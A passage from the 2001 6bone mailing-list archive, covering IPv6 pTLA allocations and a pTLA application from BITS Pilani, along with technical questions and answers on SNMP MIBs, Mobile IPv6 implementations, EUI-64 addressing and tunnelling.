> the address in brackets, i.e. [3ffe:1ce1:100:0:260:8ff:feaf:16fb] does
> work for me.

  Oh brilliant, cheers, 
   orly
-- 
orly:Well it has to be done, how else will I show how the tunnel works? :)
mike:With the aid of digrams, a working model, and some hard hats ;)
orly:I asked for that :)
   - getting help with my IPv6 project report from sandman 

From 6bone-owner  Tue Apr 10 12:24:23 2001
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Date: Tue, 10 Apr 2001 12:23:07 -0700
To: 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: 6bone pTLA 3FFE:81B0::/28 allocated to BII (biigroup.com)
Cc: Bill Manning <bmanning@ISI.EDU>, "Hua Ning" <nhua@biigroup.com>
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BII (biigroup.com - Beijing Internet-networking Institute) has been 
allocated pTLA 3FFE:81B0::/28 having finished its 2-week review period.

<http://whois.6bone.net/cgi-bin/whois?bii>


Note that it will take a short while for their pTLA inet6num entry to 
appear in the 6bone registry as they have to create it themselves. However, 
their registration is listed on:

<http://www.6bone.net/6bone_pTLA_list.html>


Thanks,

Bob


From 6bone-owner  Tue Apr 10 19:03:45 2001
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From: Matthew Darwin <matthew@davin.ottawa.on.ca>
To: <mohacsi@iit.bme.hu>
cc: <6bone@ISI.EDU>
Subject: Re: IPv6 and SNMP
In-Reply-To: <Pine.OSF.4.33.0104100925520.1202-100000@hera.ik.bme.hu>
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I'm using ucd-snmp 4.2 on linux 2.2.x.  It doesn't appear to support the
kinds of MIBs I need, however.  Bill Fenner writes that some of the MIBs
are being redefined, so maybe that's why I can't find anything of what I
need.


On Tue, 10 Apr 2001 mohacsi@iit.bme.hu wrote:

> Try FreeBSD KAME or stock FreeBSD 4.x implementation. The
> /usr/ports/net/net-snmp (aka ucd-snmp 4.2) supports snmp mibs.
> 	Janos Mohacsi
>
>
>




From 6bone-owner  Tue Apr 10 20:04:01 2001
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To: Matthew Darwin <matthew@davin.ottawa.on.ca>
Cc: mohacsi@iit.bme.hu, 6bone@ISI.EDU
In-reply-to: matthew's message of Tue, 10 Apr 2001 22:03:38 -0400.
      <Pine.LNX.4.30.0104102150180.9567-100000@caribou.davin.ottawa.on.ca> 
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Subject: Re: IPv6 and SNMP 
From: itojun@iijlab.net
Date: Wed, 11 Apr 2001 12:03:54 +0900
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>I'm using ucd-snmp 4.2 on linux 2.2.x.  It doesn't appear to support the
>kinds of MIBs I need, however.  Bill Fenner writes that some of the MIBs
>are being redefined, so maybe that's why I can't find anything of what I
>need.

	which part of MIB is necessary for you?

itojun

From 6bone-owner  Tue Apr 10 20:14:24 2001
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From: Matthew Darwin <matthew@davin.ottawa.on.ca>
To: <itojun@iijlab.net>
cc: <mohacsi@iit.bme.hu>, <6bone@ISI.EDU>
Subject: Re: IPv6 and SNMP
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I'm looking for example devices that implement the IPv6 equivalent to the
IPv4 ip.ipAddrTable.ipAddrEntry

e.g:

ip.ipAddrTable.ipAddrEntry.ipAdEntAddr.0.0.0.0 = IpAddress: 0.0.0.0
ip.ipAddrTable.ipAddrEntry.ipAdEntAddr.127.0.0.1 = IpAddress: 127.0.0.1
ip.ipAddrTable.ipAddrEntry.ipAdEntAddr.192.168.0.1 = IpAddress: 192.168.0.1
ip.ipAddrTable.ipAddrEntry.ipAdEntAddr.209.217.122.211 = IpAddress: 209.217.122.211
ip.ipAddrTable.ipAddrEntry.ipAdEntIfIndex.0.0.0.0 = 2
ip.ipAddrTable.ipAddrEntry.ipAdEntIfIndex.127.0.0.1 = 1
ip.ipAddrTable.ipAddrEntry.ipAdEntIfIndex.192.168.0.1 = 3
ip.ipAddrTable.ipAddrEntry.ipAdEntIfIndex.209.217.122.211 = 8
ip.ipAddrTable.ipAddrEntry.ipAdEntNetMask.0.0.0.0 = IpAddress: 0.0.0.0
ip.ipAddrTable.ipAddrEntry.ipAdEntNetMask.127.0.0.1 = IpAddress: 255.0.0.0
ip.ipAddrTable.ipAddrEntry.ipAdEntNetMask.192.168.0.1 = IpAddress: 255.255.255.0
ip.ipAddrTable.ipAddrEntry.ipAdEntNetMask.209.217.122.211 = IpAddress: 255.255.255.255
ip.ipAddrTable.ipAddrEntry.ipAdEntBcastAddr.0.0.0.0 = 0
ip.ipAddrTable.ipAddrEntry.ipAdEntBcastAddr.127.0.0.1 = 0
ip.ipAddrTable.ipAddrEntry.ipAdEntBcastAddr.192.168.0.1 = 1
ip.ipAddrTable.ipAddrEntry.ipAdEntBcastAddr.209.217.122.211 = 0


On Wed, 11 Apr 2001 itojun@iijlab.net wrote:

>
> >I'm using ucd-snmp 4.2 on linux 2.2.x.  It doesn't appear to support the
> >kinds of MIBs I need, however.  Bill Fenner writes that some of the MIBs
> >are being redefined, so maybe that's why I can't find anything of what I
> >need.
>
> 	which part of MIB is necessary for you?
>
> itojun
>

-- 
Matthew Darwin
Community Volunteer
matthew@davin.ottawa.on.ca
http://www.davin.ottawa.on.ca/~matthew/



From 6bone-owner  Tue Apr 10 20:16:27 2001
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To: Matthew Darwin <matthew@davin.ottawa.on.ca>
Cc: mohacsi@iit.bme.hu, 6bone@ISI.EDU
In-reply-to: matthew's message of Tue, 10 Apr 2001 23:14:18 -0400.
      <Pine.LNX.4.30.0104102309001.18350-100000@caribou.davin.ottawa.on.ca> 
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Subject: Re: IPv6 and SNMP 
From: itojun@iijlab.net
Date: Wed, 11 Apr 2001 12:16:24 +0900
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>I'm looking for example devices that implement the IPv6 equivalent to the
>IPv4 ip.ipAddrTable.ipAddrEntry
>e.g:
>ip.ipAddrTable.ipAddrEntry.ipAdEntAddr.0.0.0.0 = IpAddress: 0.0.0.0
>ip.ipAddrTable.ipAddrEntry.ipAdEntAddr.127.0.0.1 = IpAddress: 127.0.0.1

	hmm, yes they seem to be missing.  i remember i have implemented
	them before kame ucd-snmp patch got merged into ucd-snmp master
	repository.  i need to check.

itojun

From 6bone-owner  Fri Apr 13 06:57:51 2001
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Date: Fri, 13 Apr 2001 06:55:46 -0700
To: 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: pTLA request for BITS (www.bits-pilani.ac.in) - review closes
  27 Apr 2001
Cc: "Rahul Banerjee" <rahul@bits-pilani.ac.in>
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6bone Folk,

BITS (www.bits-pilani.ac.in) has requested a pTLA allocation. The open 
review period for this will close 27 Apr 2001. Please send your comments to 
me or the list.

Please note that athough BITS, Pilani is not an ISP in India, as a leading 
technological academic institution they wish to strongly lead and promote 
early IPv6 deployment there by providing tunneling services. Their response 
to me on this issue was:

"BITS, Pilani intends to serve the entire research / academic / technical 
community on a non-profit basis and would therefore be happy to offer the 
IPv6-specific non-profit services to any eligible seeker. In this sense, we 
would definitely function as a non-profit provider of services and not 
merely as an end site.   In fact, one of our major objectives has been to 
provide benefits of our own Research and Development experience to the said 
user community as well as work as a conduit to increase IPv6-awareness in 
the entire sub-continent so as to pave the way for a smooth transition to 
the IPv6-based internetworking. "

If you disagree with this pTLA usage, please send your comments to the 
6bone list for open discussion.


Thanks,

Bob

=================================================
>From: "Rahul Banerjee" <rahul@bits-pilani.ac.in>
>To: <fink@es.net (Bob Fink)>
>Subject: Application for pTLA status
>Date: Thu, 12 Apr 2001 08:57:42 +0530
>
>Request for 6Bone pTLA status - from Project IPv6@BITS, BITS,Pilani, India.
>
>Dear Bob,
>
>We, at the Project IPv6@BITS hereby apply for a pTLA status.
>
>Here are the details showing exactly how  do we satisfy the conditions for 
>this purpose:
>
>
> >As per the relevant RFC:
>
>  The following rules apply to qualify for a 6Bone pTLA allocation. It
>  should be recognized that holders of 6Bone pTLA allocations are
>  expected to provide production quality backbone network services for
>  the 6Bone.
>
>  1. The pTLA Applicant must have a minimum of three (3) months
>     qualifying experience as a 6Bone end-site or pNLA transit.   During
>     the entire qualifying period the Applicant must be operationally
>     providing the following:
>
>     We have been connected to the 6bone since march 2000.
>
>      a. Fully maintained, up to date, 6Bone Registry entries for their
>         ipv6-site inet6num, mntner, and person objects, including each
>         tunnel that the Applicant has.
>
>     The entry for our site IPv6-BITS-IN is correctly maintained. Full
>information can be obtained by querying the 6bone RIPE database with
>the string IPv6-BITS-IN.
>
>
>
>      b. Fully maintained, and reliable, BGP4+ peering and connectivity
>         between the Applicant's boundary router and the appropriate
>         connection point into the 6Bone. This router must be IPv6
>         pingable. This criteria is judged by members of the 6Bone
>         Operations Group at the time of the Applicant's pTLA request.
>
>     Currently we have:
>      tunnel: IPv6 in IPv4 202.54.26.126 -> rap.viagenie.qc.ca VIAGENIE BGP4+
>      tunnel: IPv6 in IPv4 202.54.26.126 -> gw2.nc.singaren.net.sg 
> NUS-IRDU BGP4+
>      tunnel: IPv6 in IPv4 202.54.26.126 -> 129.254.254.86 ETRI BGP4+
>      tunnel: IPv6 in IPv4 202.54.26.126 -> 202.38.99.1 CERNET STATIC
>
>      Router: ipv6.bits-pilani.ac.in
>                  IPv4 address: 202.54.26.126
>                   IPv6 address: 3ffe:b00:4002::1
>                                        2001:208:1:fd03::3
>
>      c. Fully maintained DNS forward (AAAA) and reverse (ip6.int)
>         entries for the Applicant's router(s) and at least one host
>         system.
>
>
>Currently we have all these including the Forward and Reverse DNS Lookup.
>         Router: ipv6.bits-pilani.ac.in     3ffe:b00:4002::1
>                                         2001:208:1:fd03::3
>
>          Host:   v6host.bits-pilani.ac.in   3ffe:b00:4002::1
>                                         2001:208:1:fd03::4
>
>      d. A fully maintained, and reliable, IPv6-accessible system
>         providing, at a minimum, one or more web pages, describing the
>         Applicant's IPv6 services.  This server must be IPv6 pingable.
>
>     Our Website: 
> <http://ipv6.bits-pilani.ac.in>http://ipv6.bits-pilani.ac.in. This 
> website gives all the
>information on Project IPv6@BITS. This site is IPv6-accessible. This
>server is also IPv6 pingable.
>
>    2. The pTLA Applicant MUST have the ability and intent to provide
>       "production-quality" 6Bone backbone service. Applicants must
>       provide a statement and information in support of this claim.
>       This MUST include the following:
>
>      a. A support staff of two persons minimum, three preferable, with
>         person attributes registered for each in the ipv6-site object
>         for the pTLA applicant.
>
>We do have:
>:Rahul Banerjee (RB4-6Bone)
>:Aroon Natraj (AN2-6Bone)
>:Hareesh V H (HVH1-6Bone)
>:Padma V (PV4-6Bone)
>:Sivaramakrishnan N (SN2-6Bone)
>
>      b. A common mailbox for support contact purposes that all support
>         staff have access to, pointed to with a notify attribute in the
>         ipv6-site object for the pTLA Applicant.
>
>
>The common email is: 
><mailto:ipv6@bits-pilani.ac.in>ipv6@bits-pilani.ac.in. This mailbox is common
>to all the support staff mentioned above.
>
>    3. The pTLA Applicant MUST have a potential "user community" that
>       would be served by its becoming a pTLA, e.g., the Applicant is a
>       major provider of Internet service in a region, country, or focus
>       of interest. Applicant must provide a statement and information
>       in support of this claim.
>
>
>BITS,Pilani is one of India's premier education and research institutes.
>Project IPv6@BITS is the first and only Indian site in the 6Bone now.
>Active IPv6-oriented internetworking research and development has been
>going on at a fast pace here since march 2000, when we connected to the 
>6bone.
>On being granted pTLA status, we will be able to provide 6bone
>connectivity to other research and educational organizations within India.
>
>    4. The pTLA Applicant MUST commit to abide by the current 6Bone
>       operational rules and policies as they exist at time of its
>       application, and agree to abide by future 6Bone backbone
>       operational rules and policies as they evolve by consensus of the
>       6Bone backbone and user community.
>
>We commit to all current and future rules of the 6bone and agree to
>co-operate and actively participate in the development of the 6bone and IPv6.
>
>For any questions or comments, please feel free to email us at:
>
><mailto:ipv6@bits-pilani.ac.in>ipv6@bits-pilani.ac.in  or 
><mailto:rahul@bits-pilani.ac.in>rahul@bits-pilani.ac.in
>
>Warm regards.
>
>Sincerely,
>
>Rahul
>********************************************************************************
>Prof. Rahul Banerjee
>Computer Science & Information Systems Group
>Coordinator: Centre for Software Development
>Assistant Dean: Distance Learning Programmes Division
>Birla Institute of Technology and Science, Pilani - 333 031 (India)
>
>Phone:  +91-1596-45073 Extn. 335
>E-mail: 
><mailto:rahul@bits-pilani.ac.in>rahul@bits-pilani.ac.in 
>
>Home Page: 
><http://www.bits-pilani.ac.in/~rahul/>http://www.bits-pilani.ac.in/~rahul/
>
>***************************************************************************



From 6bone-owner  Sun Apr 15 14:14:23 2001
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Date: Mon, 16 Apr 2001 04:11:51 +0700 (JAVT)
From: "R. Flidersan" <flider@ltrgm.ee.itb.ac.id>
To: Jun-ichiro itojun Hagino <itojun@iijlab.net>
cc: 6bone@ISI.EDU
Subject:  looking for paper/thesis
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Dear All, 

My name is Flidersan and I'm a student in the Indonesia. 
Looking for papers of thesis on the subject IPv6, more specifically on
subjects as 'impact on DNS','the commercial impact', 'impact on processes
within a
company','Impact on networks when migrating to IPv6'. 
 

If anyone can help me with that, please respond. 

Kind regards, 

FLIDERSAN





From 6bone-owner  Mon Apr 16 11:49:40 2001
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Date: Mon, 16 Apr 2001 11:48:30 -0700 (PDT)
From: Gordon Tetlow <gordont@bluemtn.net>
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I was wondering if anyone would be willing to provide an uplink to our
office in San Diego for testing purposes. I've emailed several parties
privately and I haven't gotten a response from any of them. So if anyone
close to ipv6.sd.bluemt.net that would be willing to delegate address
space to us could email me, I'd appreciate it.

Again, sorry for hitting the list in general, but I haven't had any luck
with the 2 parties that I tried contacting.

-gordon


From 6bone-owner  Mon Apr 16 16:34:52 2001
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From: Gordon Tetlow <gordont@bluemtn.net>
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Well, this is encouraging! I've had over 6 people respond to me with
offers for uplinks. I think I've figured out who we are going to use.
Thanks for the quick response!

-gordon

On Mon, 16 Apr 2001, Gordon Tetlow wrote:

> I was wondering if anyone would be willing to provide an uplink to our
> office in San Diego for testing purposes. I've emailed several parties
> privately and I haven't gotten a response from any of them. So if anyone
> close to ipv6.sd.bluemt.net that would be willing to delegate address
> space to us could email me, I'd appreciate it.
>
> Again, sorry for hitting the list in general, but I haven't had any luck
> with the 2 parties that I tried contacting.


From 6bone-owner  Tue Apr 17 04:44:58 2001
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From: <indra@marmoset.net>
To: <6bone@ISI.EDU>
Subject: Mobile IPv6
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 Hello! Mobile IPv6 seems to be a very interesting and promising area. Can
anyone give information/pointers about a full implementation of Mobile
IPv6 , if any, which has been developed and tested? Thanks.

Indra.





From 6bone-owner  Wed Apr 18 08:55:27 2001
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 maybe somenone can drop me URL ip6tables? THANKS.


On Wed, 18 Apr 2001, Harald Welte wrote:

> On Wed, Apr 18, 2001 at 03:02:10PM +0100, Chris Howells wrote:
> > 
> > I don't know whether this is particularly helpful or relevant any more,
> > but when I was downloading iptables 1.2.0 a while back, the package was
> > corrupted from one of the mirror sites was corrupted -- it wouldn't
> > de-compress, and it was smaller by quite a few bytes than the package I
> > eventually downloaded from a mirror.
> > 
> > Unfortunately I can't remember which mirror site the corrupted package
> > was from, but if the pages are being updated automatically (presume via
> > CVS?), then the problem may not have been fixed yet.
> > 
> maybe you just downloaded it at the moment we were uploading it?
> 
> don't have any other explanation, as we use rsync for all files...so
> either it is broken everywhere or nowhere.

                                              -------------------------
                                                Kasparavicius Andrius
________________________________________________________________________
http://www.andrius.org  ICQ:17701001  tel.: +370 87 25630 nick: Casper
AND-RIPE AND-6BONE KA6010


From 6bone-owner  Wed Apr 18 16:38:10 2001
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Date: Wed, 18 Apr 2001 16:37:50 -0700
To: 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: 6bone pTLA 3FFE:81C0::/28 allocated to NTT-WEST
Cc: Bill Manning <bmanning@ISI.EDU>,
        "Shirou NIINOBE [raccoon]" <nin@ipv6.nttwestlabs.net>
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NTT-WEST has been allocated pTLA 3FFE:81C0::/28 having finished its 2-week 
review period.

<http://whois.6bone.net/cgi-bin/whois?ntt-west>


Note that it will take a short while for their pTLA inet6num entry to 
appear in the 6bone registry as they have to create it themselves. However, 
their registration is listed on:

<http://www.6bone.net/6bone_pTLA_list.html>


Thanks,

Bob


From 6bone-owner  Thu Apr 19 01:15:24 2001
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Cc: <6bone@ISI.EDU>
Subject: Re: Mobile IPv6
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<indra@marmoset.net> writes:
> Hello! Mobile IPv6 seems to be a very interesting and promising
> area. Can anyone give information/pointers about a full
> implementation of Mobile IPv6 , if any, which has been developed and
> tested?

Indra,

I'm trying to maintain a list of prototype/research mobile-ipv6
implementations.  Please let me know if you find others.

Thanks,

Alex

KAME
-bsd-ish.
-Mobile-IPv6 code from Ericsson.
-draft 09.

INRIA
-has a mipv6 part by Francis Dupont, draft-13.
-has a hmipv6 part by Ludovic Bellier, Claude Castelluccia, based on
 the mipv6 part.

MONARCH
-based on INRIA ipv6 stack.
-1997.
-draft 03.

MICROSOFT RESEARCH
-Windows.
-partial IPv6 mobility support.

NUS (National Univ of Singapore)
-linux.

LANCASTER UNIVERSITY
-linux
-draft-ietf-mobileip-ipv6-05
-Stefan Schmid, sschmid@COMP.LANCS.AC.UK.
-finneyj@exchange.lancs.ac.uk, LandMARK project.
-in cooperation with MSR?

MIPL at hut.fi
-linux 2.4.0
-Sami Kivisaari, Niklas Kämpe, Juha Mynttinen, Toni Nykänen, Henrik
 Petander and Antti Tuominen
-draft-12.
-as an evolution of Dynamics?

SFC of WIDE
-FreeBSD
-for automotive
-presented at Conectathon March 2001.
-watch http://neo.sfc.wide.ad.jp/~mip6/ March 2001.


From 6bone-owner  Thu Apr 19 12:54:18 2001
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Date: Thu, 19 Apr 2001 16:54:06 -0300
From: horape@tinuviel.compendium.net.ar
To: 6bone@ISI.EDU
Subject: flat file archives?
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¡Hola!

Is somewhere a flat file archive of the list? (like the old ftp://ftp.isi.edu/6bone/6bone.mail)

Thanks
					HoraPe
---
Horacio J. Peña
horape@compendium.com.ar
horape@uninet.edu
bofh@puntoar.net.ar
horape@hcdn.gov.ar

From 6bone-owner  Thu Apr 19 14:36:25 2001
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Date: Thu, 19 Apr 2001 14:36:09 -0700
To: horape@tinuviel.compendium.net.ar
From: Bob Fink <fink@es.net>
Subject: Re: flat file archives?
Cc: Bill Manning <bmanning@ISI.EDU>, 6BONE List <6bone@ISI.EDU>
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At 04:54 PM 4/19/2001 -0300, horape@tinuviel.compendium.net.ar wrote:
>¡Hola!
>
>Is somewhere a flat file archive of the list? (like the old 
>ftp://ftp.isi.edu/6bone/6bone.mail)

It seems that it stopped collecting at the end of 1998. I've cc'd Bill 
Manning of ISI, so maybe he can tell us if there is a chance it will get fixed.

Thanks for calling this to my attention.


Bob


From 6bone-owner  Thu Apr 19 16:36:38 2001
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Subject: Re: flat file archives?
To: fink@es.net (Bob Fink)
Date: Thu, 19 Apr 2001 16:36:13 -0700 (PDT)
Cc: horape@tinuviel.compendium.net.ar, bmanning@ISI.EDU (Bill Manning),
        6bone@ISI.EDU (6BONE List)
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% 
% At 04:54 PM 4/19/2001 -0300, horape@tinuviel.compendium.net.ar wrote:
% >¡Hola!
% >
% >Is somewhere a flat file archive of the list? (like the old 
% >ftp://ftp.isi.edu/6bone/6bone.mail)
% 
% It seems that it stopped collecting at the end of 1998. I've cc'd Bill 
% Manning of ISI, so maybe he can tell us if there is a chance it will get fixed.
% 
% Thanks for calling this to my attention.
% 
% 
% Bob
% 

Looking into it.


-- 
--bill

From 6bone-owner  Mon Apr 23 07:39:15 2001
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Date: Mon, 23 Apr 2001 07:38:44 -0700
To: 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: 6bone pTLA 3FFE:81D0::/28 allocated to HURRICANE
Cc: Bill Manning <bmanning@ISI.EDU>, samh <samh@he.net>
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HURRICANE has been allocated pTLA 3FFE:81D0::/28 having finished its 2-week 
review period.

<http://whois.6bone.net/cgi-bin/whois?hurricane>


Note that it will take a short while for their pTLA inet6num entry to 
appear in the 6bone registry as they have to create it themselves. However, 
their registration is listed on:

<http://www.6bone.net/6bone_pTLA_list.html>


Thanks,

Bob


From 6bone-owner  Tue Apr 24 04:26:37 2001
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Date: Tue, 24 Apr 2001 11:21:37 +0000 (UTC)
From: Ben Clifford <benc@hawaga.org.uk>
To: 6bone@ISI.EDU
Subject: Linux "enable EUI-64 token format"
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Can anyone explain or provide references to what the linux 2.4 kernel
option CONFIG_IPV6_EUI64 "Enable EUI-64 token format" means?

The kernel config help says that "6bone ... is moving to a new
aggregatable address format and a new link local address assignment
(EUI-64)".

Is this documented in RFCs for example? If so, which ones?

I'm not having any problems - I just want to know what it means :-)

Thanks,

Ben

-- 
http://www.hawaga.org.uk/travel/ for my rotating world map applet
http://www.hawaga.org.uk/benc_key.txt PGP / GPG key 0x30F06950 - please use it!


From 6bone-owner  Tue Apr 24 05:51:55 2001
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Message-ID: <3AE575FF.E93F2A4E@ascend.com>
Date: Tue, 24 Apr 2001 14:47:59 +0200
From: Elliott Norsa <enorsa@ascend.com>
Organization: Ascend Communications 
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To: Ben Clifford <benc@hawaga.org.uk>
CC: 6bone@ISI.EDU
Subject: Re: Linux "enable EUI-64 token format"
References: <Pine.LNX.4.10.10104241115580.775-100000@krustbustr.hawaga.org.uk>
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EIU-64 refers to the format of the 64 low-weight bits of an IP-v6 
address (128 bits), known as interface-id.

IP-v6 defines an auto-configuration mechanism in rfc462, for which
EUI-64 token format is needed, in order to generate an unique
IP-v6 address.

For more details see RFC's 2373 and 2374...



Ben Clifford wrote:
> 
> Can anyone explain or provide references to what the linux 2.4 kernel
> option CONFIG_IPV6_EUI64 "Enable EUI-64 token format" means?
> 
> The kernel config help says that "6bone ... is moving to a new
> aggregatable address format and a new link local address assignment
> (EUI-64)".
> 
> Is this documented in RFCs for example? If so, which ones?
> 
> I'm not having any problems - I just want to know what it means :-)
> 
> Thanks,
> 
> Ben
> 
> --
> http://www.hawaga.org.uk/travel/ for my rotating world map applet
> http://www.hawaga.org.uk/benc_key.txt PGP / GPG key 0x30F06950 - please use it!

-- 
Elliott Norsa                               Ascend Communication Premea
Sr Software Engineer                        Village d'entreprise Green Side
mailto: enorsa@ascend.com                   400 Avenue Roumanille, BP57
tel : (33) 4 92 96 56 22   ext: 65622       06901 Sophia Antipolis

From 6bone-owner  Tue Apr 24 08:41:55 2001
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Date: Tue, 24 Apr 2001 15:18:13 +0000 (UTC)
From: Ben Clifford <benc@hawaga.org.uk>
To: Matti Aarnio <matti.aarnio@zmailer.org>
cc: 6bone@ISI.EDU
Subject: Re: Linux "enable EUI-64 token format"
In-Reply-To: <20010424181114.B805@mea-ext.zmailer.org>
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On Tue, 24 Apr 2001, Matti Aarnio wrote:

> 	And I will see if I can change the defaults in the Linux kernel
> 	sources now that EUI-64 is the default at all LANs.

The config documentation should probably be modified to include a stock
phrase like "Always say yes to this, unless you know you need to say no."

-- 
http://www.hawaga.org.uk/travel/ for my rotating world map applet
http://www.hawaga.org.uk/benc_key.txt PGP / GPG key 0x30F06950 - please use it!




From 6bone-owner  Fri Apr 27 08:10:05 2001
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Date: Fri, 27 Apr 2001 08:09:51 -0700
To: 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: 6bone pTLA 3FFE:81E0::/28 allocated to IPV6-BITS-IN
Cc: Bill Manning <bmanning@ISI.EDU>,
        "Rahul Banerjee" <rahul@bits-pilani.ac.in>
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IPV6-BITS-IN has been allocated pTLA 3FFE:81E0::/28 having finished its 
2-week review period.

<http://whois.6bone.net/cgi-bin/whois?IPV6-BITS-IN>


Note that it will take a short while for their pTLA inet6num entry to 
appear in the 6bone registry as they have to create it themselves. However, 
their registration is listed on:

<http://www.6bone.net/6bone_pTLA_list.html>


Thanks,

Bob


From 6bone-owner  Mon Apr 30 00:31:23 2001
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From: <indra@marmoset.net>
To: <6bone@ISI.EDU>
Subject: Mobile IPv6
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 Hello! Mobile IPv6 seems to be a very interesting and promising area. Can
anyone give information/pointers about a full implementation of Mobile
IPv6 , if any, which has been developed and tested? Thanks.

Indra.




From 6bone-owner  Mon Apr 30 01:25:52 2001
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--part1_c1.dda7b70.281e7b7f_boundary
Content-Type: text/plain; charset="US-ASCII"
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http://www.nwfusion.com/news/2001/0402mobileip.html

> Hello! Mobile IPv6 seems to be a very interesting and promising area. Can
> anyone give information/pointers about a full implementation of Mobile
> IPv6 , if any, which has been developed and tested? Thanks.
> 
> Indra.



--part1_c1.dda7b70.281e7b7f_boundary
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<HTML><FONT FACE=arial,helvetica><FONT  SIZE=2>http://www.nwfusion.com/news/2001/0402mobileip.html
<BR>
<BR><BLOCKQUOTE TYPE=CITE style="BORDER-LEFT: #0000ff 2px solid; MARGIN-LEFT: 5px; MARGIN-RIGHT: 0px; PADDING-LEFT: 5px">Hello! Mobile IPv6 seems to be a very interesting and promising area. Can
<BR>anyone give information/pointers about a full implementation of Mobile
<BR>IPv6 , if any, which has been developed and tested? Thanks.
<BR>
<BR>Indra.</FONT><FONT  COLOR="#000000" SIZE=3 FAMILY="SANSSERIF" FACE="Arial" LANG="0"></BLOCKQUOTE>
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From 6bone-owner  Mon Apr 30 21:49:28 2001
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To: 6bone@ISI.EDU
Subject: 6bone contact request
From: Hal Snyder <hal@vailsys.com>
Date: 30 Apr 2001 23:49:27 -0500
In-Reply-To: Hal Snyder's message of "15 Sep 2000 14:17:58 -0500"
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Our previous contact seems off the air, so here goes again -

Per the instructions at http://www.6bone.net/6bone_hookup.html, I'm
turning to this list to request a 6bone pTLA/pNLA transit for Vail
Systems. We are based in Chicago, connecting to Internet via Level3 and
Qwest.

Would like to try BGP4+ multihoming with dual transits a la rfc2260 -
http://www.ietf.org/internet-drafts/draft-ietf-ipngwg-ipv6-2260-01.txt

Thank you.

From 6bone-owner  Wed May  2 05:15:18 2001
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Date: Wed, 2 May 2001 12:14:41 +0000 (UTC)
From: Ben Clifford <benc@hawaga.org.uk>
To: 6bone@ISI.EDU
Subject: ip6.arpa
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Is ip6.arpa deployed yet?

I can't seem to get any reverse lookups to work using /usr/bin/host
supplied with bind-9.1.1 unless I use the ip.int nibble based option.


Ben

-- 
http://www.hawaga.org.uk/travel/ for my rotating world map applet
http://www.hawaga.org.uk/benc_key.txt PGP / GPG key 0x30F06950 - please use it!


From 6bone-owner  Wed May  2 08:45:34 2001
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Date: Wed, 2 May 2001 17:44:20 +0000 (UCT)
From: Julio Aparicio Varela <se04839@salleURL.edu>
To: <6bone@ISI.EDU>
Subject: ROUTING IPv6
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I am new in this affair, so my excuses if I am saying nonsenses, but is
there any way to make a connection with the 6bone without tunneling IPv6
in IPv4?, I mean, is there any straight way to connect or to make sure
that mid-routers work in IPv6?
Thanx


"No necesito amigos que cambien cuando yo cambio y asientan cuando yo asienta.
Mi sombra lo hace mejor". Plutarco, escritor griego (50-125).

-------------------------------------------------------------------------------
  	                   	   Julio Aparicio Varela
      		  	    E-MAIL:     se04839@salleurl.edu
  		      	    WEB PAGE:   http://www.salleurl.edu/~se04839
          		    ICQ NUMBER:
-------------------------------------------------------------------------------


From 6bone-owner  Wed May  2 09:27:17 2001
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To: Julio Aparicio Varela <se04839@salleURL.edu>, <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: Re: ROUTING IPv6
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Julio,

At 05:44 PM 5/2/2001 +0000, Julio Aparicio Varela wrote:

>I am new in this affair, so my excuses if I am saying nonsenses, but is
>there any way to make a connection with the 6bone without tunneling IPv6
>in IPv4?, I mean, is there any straight way to connect or to make sure
>that mid-routers work in IPv6?

There is no requirement that folk participating in the 6bone use manually 
configured tunnelling. At this time there are some (many?) native IPv6 
links, and also some automatically configured tunnelling using the 6to4 
mechanism (which isn't under the 6bone space at all as it has its own prefix).

As for a straight(forward) way to connect, it is either a matter of 
searching for and/or asking via the 6bone list for folks to host you with 
manually configured tunnels, or use 6to4 (see the link on the 6bone.net 
home page).

There is no real easy way to make sure mid-routers work when you are 
tunnelling. As with any network, you end up relying on the reputation (and 
results you get in practice) of the ISPs you choose. It is one of the 
reasons folk carefully look at the paths, proximity and performance of 
6bone pTLA's they choose. Unfortunately this is not an easy task and 
getting pTLA's to host you is not too easy either. It is one of the reasons 
that 6to4 will be popular in the opinion of many of us as we move along in 
migration to IPv6.


Bob


From 6bone-owner  Wed May  2 10:02:13 2001
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->Unfortunately this is not an easy task and 
->getting pTLA's to host you is not too easy either. 

Isn't this an implied reason to grant pTLA status to an organization?  If
this is true, I would like to see pTLA status revoked for those who want
address space, but don't do any ipv6 work...

How to quantify, however, is another story....

I will give tunnels to any and all comers (your ping time should be under a
second).  208.19.223.30 is the v4 endpoint.






->that 6to4 will be popular in the opinion of many of us as we move along in 
->migration to IPv6.
->
->
->Bob
->


From 6bone-owner  Wed May  2 10:27:09 2001
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To: "Robert J. Rockell" <rrockell@sprint.net>
From: Bob Fink <fink@es.net>
Subject: Re: ROUTING IPv6B
Cc: Julio Aparicio Varela <se04839@salleURL.edu>, 6bone@ISI.EDU
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Rob,

At 01:02 PM 5/2/2001 -0400, Robert J. Rockell wrote:
>->Unfortunately this is not an easy task and
>->getting pTLA's to host you is not too easy either.
>
>Isn't this an implied reason to grant pTLA status to an organization?  If
>this is true, I would like to see pTLA status revoked for those who want
>address space, but don't do any ipv6 work...

There is not a requirement for a pTLA to grant tunnel access to whomever 
wants it. Many pTLA's are in the business of supporting their own user 
community (my network, ESnet, is one), hence the requirement for becoming a 
pTLA that you have some user community to serve.

I don't really know of any pTLA that doesn't do any IPv6 work. There are 
certainly sites that once active in v6 have gone dormant. Some have even 
turned their pTLA in voluntarily.


>How to quantify, however, is another story....

Certainly true. From the 6bone intro:

"The initial 6bone focus was on testing of standards and implementations, 
while the current focus is more on testing of transition and operational 
procedures."

Unstated here, but important as well, is that we encourage networks and 
sites to get early experience with IPv6. Becoming too sticky about all this 
isn't going to encourage people to join the 6bone.


>I will give tunnels to any and all comers (your ping time should be under a
>second).  208.19.223.30 is the v4 endpoint.

Good.


Thanks,

Bob


From 6bone-owner  Wed May  2 10:49:44 2001
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From: Julio Aparicio Varela <se04839@salleURL.edu>
To: Bob Fink <fink@es.net>
cc: <6bone@ISI.EDU>
Subject: Re: ROUTING IPv6
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On Wed, 2 May 2001, Bob Fink wrote:

> There is no requirement that folk participating in the 6bone use manually
> configured tunnelling. At this time there are some (many?) native IPv6
